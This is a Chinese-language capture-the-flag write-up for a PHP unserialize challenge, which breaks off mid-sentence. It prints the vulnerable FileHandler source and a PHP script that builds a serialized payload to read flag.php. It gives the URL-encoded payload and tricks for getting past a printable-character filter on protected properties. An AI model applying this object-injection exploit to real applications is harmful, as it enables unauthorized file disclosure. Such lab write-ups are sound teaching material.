<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
拿到题目是这样一段代码,开始分析。
反序列化题目大概的重点是两个,一个是属性值可以修改,一个是魔术方法 __destruct 和 __wakeup。从这两个开始入手。
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
首先找到__destruct()开始分析,当op值为2时,将op值变为1。
这里需要注意的是===全等符,==="2"这个2被包裹在双引号中,表示一个字符。
content这个属性的值是置为""的。
接着看向process()方法。
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
当op属性值为1时,执行write()方法。
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
如果设置了filename和content,判断content内容>100则输出Too long;能写入文件中的话,则输出Successful;否则输出Failed。
但是由于content这个属性的值是置为""的,所以无论我们输入什么内容,都会被置为"",这是我们不可控的,那么写一句话之类的是没有用的,也就是说wirte()这个方法对我们拿到flag没有用,不用看他。
回到process()方法接着往下看。
else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); }
当op属性值为2时,执行read()方法。并输出$res的值。
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
首先判断了是否设置filename,如果设置有的话,则将文件中的内容读取出来赋给$res。最后$res这个值是会被输出的。
代码一开始就提示了flag所在文件为flag.php,所以filename的值应该是flag.php。
编写
<?php
class FileHandler {
public $op;
public $filename;
public $content;
function __construct() {
$this->op = 2;
$this->filename = "flag.php";
}
}
$obj = new FileHandler ;
echo urlencode(serialize($obj));
?>
输出payload:O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D
这里进行了一个url编码,以防有些字符显示问题。
if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
最后将得到的payload传入参数即可得flag。
这道题还有一个考点:
protected $op; protected $filename; protected $content;
题目开始定义属性是用的protected,如果我们用这个编写payload的话得到的是
会发现多出了%00,但是因为源码中有这样一串代码
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
会递归判断传入的str是否在ascii码32-125之间,%00为0,是不存在的,所以这里需要绕过protected。
第一种办法就是将protected改为public,但是这只适用php版本大于等于7.2的。
第二种办法是将属性的s改为S
protected 就是修改成